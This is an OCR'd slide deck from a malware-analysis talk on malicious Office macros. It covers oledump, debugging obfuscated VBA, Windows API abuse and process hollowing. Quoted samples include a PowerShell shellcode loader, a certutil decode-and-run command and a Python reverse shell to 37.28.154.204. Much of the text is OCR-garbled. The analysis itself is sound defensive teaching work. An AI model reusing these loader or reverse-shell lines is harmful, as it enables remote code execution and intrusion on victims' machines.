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Social Engineering and MACROS

Social engineering works
- Training is hard
- Users need to get stuff done

Microsoft Office
- Visual Basic is very powerful

Macros just work
- Totally legitimate usage
- No patch for a "feature”

When 1 macro is executed
- Attackers have a beachhead



Basic Concept of Operations
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MacCros

Office documents can contain embedded code
- Written in VBA - Visual Basic for Applications
- Can also access Windows API - more on that later

How do we view macros then?
- Dump them using oledump (Thank you Mr Stevens!)
- View in Office IDE (Developer)



oledump

113 '\ x01CompObij'
4096 '\x05DocumentSummaryInformation’
4096 '\ x05SummaryInformation’
4096 '1Table'
23902 'Data’
525 'Macros/PROJECT'
: 95 'Macros/PROJECTwm'
macros - 10027 'Macros/VBA/ThisDocument'
- 7279 'Macros/VBA/ VBA PROJECT'
15955 'Macros/VBA/cowkeeper' stream
841 'Macros/VBA/dir' name
1158 'Macros/VBA/discord'
_ : 97 'Macros/discord/\x01CompObj’
size = 291 'Macros/discord/\x03VBFrame'
: 98 'Macros/discord/f'
112 'Macros/discord/i01/\x81CompObj’
68 (Macros/discord/i81/0'
® 'Macros/discord/o’
57094 'WordDocument'

index




oledump

jstroschein@ubuntu:~/Desktop/BSidesIAS oledump -s 8 -v 5d0877b1341a6472f02aac8948
8976d4395a91ae4723657b0344da74f4a560c8d.bin > ThisDocument

ThisDocument

Attribute VB Name = "ThisDocument”
Attribute VB Base = "1Normal.ThisDocument”
Attribute VB GlobalNameSpace = False
Attribute VB Creatable = False

Attribute VB PredeclaredId = True
Attribute VB Exposed = True

Attribute VB TemplateDerived = True
Attribute VB Customizable = True

Dim offspring As String

Dim Lyra As Integer




You can enakb
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Office IDE
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Sub ToggleTextBoundaries|()
If Documents.Count > 0 T
With ActiveDocument..

.ShowTextBoundar,rmation

End With

End If iion Pack

End Sub

Public Sub AutoOpen()

Dim uncurbed A= Integer
Dim remigration &As Integer
Dim affuse As Variant

remigration = solemnize.perm
TF vamimratimnm = 48 - 07 4+ 3



Debugging

You can debug now
- sometimes easier than trying to manually reverse the obfuscation

nat Debug Run Tools

-----------:L-J;H" . Eﬂi E
o YT _|=

Dim uncurbed A= Integer

Dim remigration As Integer

Dim affuse A= Variant

remigration = solemnize.permanent
If remigration = 48 - 97 + 39348 Th

B o» uo@m M 5E[(E = |




Runtime Analysis

dracocephalum = 10 + 127 - 84

For thallophytic = 14 - 70 + 71 To 10 + 127 - 84
lymphoid = "di"™ + Mid("edmontoniasjunctmiler™, 11, &)
Next thallophytic

Set tranlism = illbeing.ExecQuery(koto + bladderpod & extincteur)
For Each uncared In traulism

conceive = conceive + 17 - 8 - 8
Hext
hes
ression Value Type
bladderpod " * from Win32_" Variant/String
extincteur "DigkDrive” Variant/String
koto "Select”

Variant/String



Sometimes Encounter Passwords
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Social Engineering abounds

SECURED BY

B RSA Encrypted Message

(s

—RSA PROTECTED DATA BEGIN-

This file is secured with RSA key.
Please enable content to view the document

/9i/4AAQSkZIRgABAGEBLAEsAAD/4RLDRXhpZgAATUOAKgAAAAGABWESAAMAAA
ABAAEAAAFaAAUAAAABAAAAYSEbAAUAAAABAAAAacEcAAMAAAABAATAAAE
XAATAAAACAAAACeEYAATAAAAUAAAAjodpAAQAAAABAAAAPAAAANAAT cbAAA
AnEAAtxsAAACcQQWRvYmUgUGhvdG9zaGOWIENTNCBXaW 5kb3dzADIwMTAGMTIEM
TegMTIEMTKEMikAAAAAAGABAAMAAAABAAEAAKACAAQAAAABAAAACKADAE

mASgAAWAAAAFAAAAASEABAAAAAFAAARUAZIABAAAAAFAABGNAAAAAAAA
o F
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113
4096
4096
4783

534

98
2299
4436
1159

886
6706

97

135
401464

"\x01CompObj"

"\x05DocumentSummaryInformation’

"\x05SummaryInformation’
"‘1Table’

‘Macros/PROJECT'
‘Macros/PROJECTwm*
'Macros/VBA/ThisDocument'
‘Macros/VBA/ VBA PROJECT'
'Macros/VBA/chinking'
‘Macros/VBA/dir'
'Macros/VBA/solemnize’
'Macros/chinking/\x01CompObj "

'‘Macros/chinking/f"
'‘Macros/chinking/o’

Userof Forms

Lab2 - chinking (UserForm)
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AutoSize False
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EnterkeyBehavior False
Tahoma



Embedded Content [ '

0003000000V40U
eeeeffffoo00bsoo
0000000000004000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000b00000000elf
bafe®Ob409cd21b8
014ccd2154686973
2070726T6772616d
2063616e6e677420
62652072756e2069
6e20444753206d6T
64652e0d0d0a2400
000000000000Cc%el
07db8d8069888d80

W g Microsoft Word 2016

113 '\x01CompObj'
4096 '\x05DocumentSummaryInformation’
4096 '\x05SummaryInformation’
4783 '1Table'

534 'Macros/PROJECT'
98 'Macros/PROJECTwm'
2299 'Macros/VBA/ThisDocument'
4436 'Macros/VBA/ VBA_PROJECT'
1159 'Macros/VBA/chinking'

886 'Macros/VBA/dir'
6706 'Macros/VBA/solemnize'

97 'Macros/chinking/\x81CompObj'
291 'Macros/chinking/\x03VBFrame'
135 'Macros/chinking/f'

401464 'Macros/chinking/o’
43275 'WordDocument'

Attention! This document was create

Please enable macros
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Obfuscation

Function permanent()
REE:S - - i & 1

conceive = 99 + 115 - 214
abbatical = 9 - 4

sleeveless = Left("bachildhood”, 2) + StrReverse("kc") + ""
Mext abbatical
- _

Dim nutbrown As Variant




Windows API

Public Declare PtrSafe Function tomentose Lik "user32" Alias "GetClassNamelA" (deepread &= LongPtr,
'T wanna be your back door man

I love you as long as your money loves me back
Public Declare PtrSafe Function mutton Lib "kernel32"™ Alias "GetModuleHandle"™ (lpModuleName As Lot
'Like a genie in the bottle

'I'1ll rub you the right way

LAl

Public Declare PtrSafe Function daddy Lib "user32"™ Alias "RegisterClassW" (extenuating As LongPtr)
'Call me!

'I"1]1 meet you at home or at a sleazy motel

Public Declare PtrSafe Function wvertebrata Libk "user32" Alias "FindWindowhA" (tempestivity &As LongPt
'"With paypal or cash

'And I'11 show yvou what vour boyfriend don't understand

Public Declare PtrSafe Function cabriolet Libk "kernel32" Alias "EnumDateFormatsW" (ByVal lpEnumFun:

'Like a genie in the bottle

aprum

archegenesis

For washout




shellcode

Sample MD5: b107f3235057bb2b06283030be8f26e4

0 ¢

©

File name: billing_doc_25810.doc

Detection ratio: 38 /57

Analysis date: 2017-03-24 05:21:18 UTC ( 4 weeks ago)

Analysis @ File detail 3 Relationships © Additional information ® Comments o ) Votes

Antivirus Result Update

Ad-Aware W97M.Downloader.EPK 20170324
20170324

AegisLab Troj.Downloader.Msword.Agent!c



shellcode

bicycling = 0

Dim aprum A= Long

aprum = bayberry + anklet

archegenesis = cabriolet (aprum, bicycling, bicycling)
For washout = 19 To 5

praxiteles = 52

ur boyfrieyd don't understand
ction cabriolet Lib "kernel3Z" Alias "EnumDateFormatsW"

= BOOL EnumDateFormats (
_In_DATEFMT_ENUMPROC lpDateFmtEnumProc,
_In_LCID Locale,
_In_ DWORD dwFlags
)i
Parameters

IpDateFmtEnumProc [in]

Pointer to an application-defined callback function. For more information, see
EnumDateFormatsProc.
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Uim aprum AsS Long
aprum = bayberry + anklet

archegenesis = cabriolet (aprum, bicycling, bicycling)
For washout = 19 To 52
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orocess hollowing - DEMO

‘e00 %) Win7-64 RE

Hacker View Tools Users Help
%% Refresh 2} Options | #8 Find handles or DLLs 34 System information | 7 [ X Search Processes (Ctrl+K) O

PID  CPU LOtotal.. Privateb... Username Description
457 SystemIdle Process 0 o749 0 NT AUTHORITV\SYSTEN,
an 4 oo 148kB NTAUTHORITY\SYSTEN  NT Kemel & System
260 “s k8 Windows Session Manager
058 0 Intermupts and DPCs
8 213M8 Client Server Runtime Process
48 146 M8 Windows Start-Up Application
4% 021 9128/s 1016MB Client Server Runtime Process
B conhostexe 1072 116MB  WIN-J..\osh Stroschein ~ Console Window Host
B vinlogon.exe 434 263M8 Windows Logon Application
474 exploreree w0 076 4856M8 \osh Stroschein  Windows Explorer

Mosh Stroschein  VMware Tools Core Service
\Josh Stroschein _Process Hacker

(& vmtoolsd.exe 0.09 9128/s 6MB8
953MB

985.7 MB (48.14%)

https://youtu.be/oM2R2_5wo7Q



Powershell

Sample: 9216418c98d47981f773fc2525fa568f

File name: offert.doc <
Detection ratio: 17 /55 “ 1 @ O

Analysis date: 2016-08-08 07:54:25 UTC ( 8 months, 2 weeks ago )

Analysis @ File detail X3 Relationships © Additional information @ Comments o ) Votes

Antivirus Result Update
Ad-Aware Trojan.Script.669008 20160808

AhnLab-V3 W97M/Downloader 20160807



Powershell

Related People

Author
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$1 = '$c = ""[DllImport("kernel32.d11")]public static extern IntPtr VirtualAlloc(IntPtr lpAddr

[D11Import("msvcrt.d11")]public static extern IntPtr memset(IntPtr dest, uint src, uint count)

3
$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];
[Byte[]]$z = ©xda,@xdb,@xbd,®xcd,0x59,08x2a,0xf0,0xd9,0x74,0x24,0xT4,0x58,0x29,0xc9,0xb1,0x57,0

$g = 9x10080;

if ($z.Length -gt ©x1000){
$g = $z.Length

1.
T
$x=%w: :VirtualAlloc(0,0x1000,%g,0x40);

($1=0;%1 -le ($z.Length-1);%i++) {
$w: :memset([IntPtr]($x.ToInt32()+%1i), $z[$i], 1)

: :CreateThread(0,0,%x,0,0,0);

for (;;){Start-sleep 60};

b ]

$e [System.Convert]::ToBaseb4String([System.Text.Encoding]: :Unicode.GetBytes($%1));
$2 n_enc n;

if([IntPtr]::Size -eq 8){
$3 = $env:SystemRoot + "\syswowb4\WindowsPowerShell\vl.8\powershell";
iex "& $3 $2 %e"

}

else{
;iex "& powershell $2 $e";

1
J




6x17 fod Gxee 6x98 ox47, 6x5e 6x5c 0x3d, 6x83 6x72 6x89 @xdc, 8x49 @x1la, 6x23 6
xc3,6x8c,6xb4,0x4a,8x78,6x27,6x64,foa,6xa6,bee,6x6b,6xd1,6x96,6x65,9xc6,6x
45,0x16,0xbb,0x40,0x31,0x99,0x96,0xel,0x6e,0x0c,0x1a,0x56,0xc2,0xb8,0xab,0x5
5,0xed,0x38,0xbf,0xca,B0xa2,0x71,0xfc,0x23,0x78,0x82,0x52,0x23,0x29,0x0b,0xcd
,0xbf,0x86,0x89,0x7b,0x0d,0xc9,0xce,0x2f,0x22,0x5a,0x98,0x9c,0x92,0x34,0xcd,
@xac,0@xde,@x6a,0x1b,0x10,0xb6,0xea,0x28,0xae,dx46,0x62 ,0xae,Oxcd,0x42,0x24,0 shellcode
xec,0x7e,0x3e,0xaa,0xf0,0xaa,0x6d,0xed,0x5d,0x06,0xc7,0x6e,0x4f,0xae,0xff,0x
29,0xfb,0x8e,0xcb,0xdf,0xdd,0xe7,0x23,0xaa,0x7c,0xal,0x3c,0x00,0xea,0x0e,Oxa
a,0xcd,0xfb,0x8e,0x6a,0x14,0xaf,0xeb6,0x32,0xbd,0x1c,0x12,0x3d,0x6d,0x31,0x8
,0x7c,0x18,0x3e,0x88,0x7c,0x4b,0x68,0xel,0x6e,0xfd,0x1d,0x12,0x71,0xd4,0x9b,
0x94 ,0x00,0x66,0xaa,0x5b,0x77,0x8d,0xed,8x98,0x28,0xa5,0x7b,0xed,0x29,
@xca,@xb7,0x29,0xfb,0x07,0x80,0x7b,0x32,0x5d,0xc4,0xad,0x06,0xad,0x10,0xb2;

$g = Ox1000;

if ($z.Length -gt 0x1000){
$g = $z.Length

53
$x=$w: :VirtualAlloc(0,0x1000,$g,0x40); staged
in
for ($i:@_;$i -le ($Z.Length—‘1)_;$i++) {
$w: :memset ([IntPtr]($x.ToInt32()+%$1), $z[%i], 1) memory

:CreateThread(0,0,%x,0,0,0);

for (;;){Start-sleep 60};




Powershell

Shellcode attempts to download content from:
hxxp://37.28.154.204/FIC7S

- Executes it
- Unavailable (i.e. 404) at time of analysis



VB Scripts

Sample: claaa74ba09c523¢c32b49e78cf0Ob2397

File not found

The file you are looking for is not in our database.

Take me back to the main page Try another search



VBS

mg Please enable editing mode to view included documents.

L B 9

Irvoice Transaction Report Invoice
80013420.doox 7312475.dox 16476608.doox

1}

Doc Part
Doc Part
Doc Part

1}
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992599259925.jbc

Dropbs Two Files
File name: 992599259925.jbc

Detection ratio: 25/ 61

Analysis date: 2017-04-20 11:33:20 UTC ( 1 day, 3 hours ago )

Analysis @ File detail 3 Relationships O Additional information ® Comments o ) Votes

Antivirus Result Update
Ad-Aware Trojan.GenericKD.4890187 20170420
Arcabit Trojan.Generic.D4A9E4B 20170420

DVtO=Il68II+II65II+II?4II+II46II_ll32ll_II46II

MeRp43=DVto-"5"



Cert Utll

Sample: 16eb1828b27feb9dd470eb018be39d0a

SHA256: 62a5d3ec0dcdalaa72d13b2deac30307935b41b3e5a0e132fc4cf70cb2688543 ‘o

File name: Security Report ID_11701573_.doc

L
Detection ratio: 36 /56 " 6 @ O

Analysis date: 2016-06-03 10:16:56 UTC ( 10 months, 3 weeks ago )

Analysis @ File detail 3 Relationships @ Additional information ® Comments e Q) Votes

Antivirus Result Update
Ad-Aware W97M.Downloader.CUZ 20160603
AegisLab W97M.Downloader.Cuz!c 20160603

AhnLab-V3 W97M/Downloader 20160603



Cert util

https://technet.microsoft.com/en-us/library/cc732443(v=ws.11).aspx

harakiri.pfx

[TVQQAAMAAAAEAAAA / / 8AAL gAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAF BF AABMAQCAOD 2 JgAAA

PID: 3288
Command line: cmd Jfc certutl -decode 3%TMP 26\ \harakiri.pfx 3eTMP%\\harakiri.exe & start 3%TMP%%\\harakiri.exe




scriptToRun = "do shell script python -c 'import
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) ;
s.connect((\""37.28.154.204\"",446));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

p=subprocess.call([\""/bin/sh\"" \""-

res = MacScript(scriptToRun)

mac shell
from our PowerShell doc: 9216418¢c98d47981f773fc2525fa568f



Thank You!

You will find these slides: OxevilcOde.com/hitb_ams_18.zip



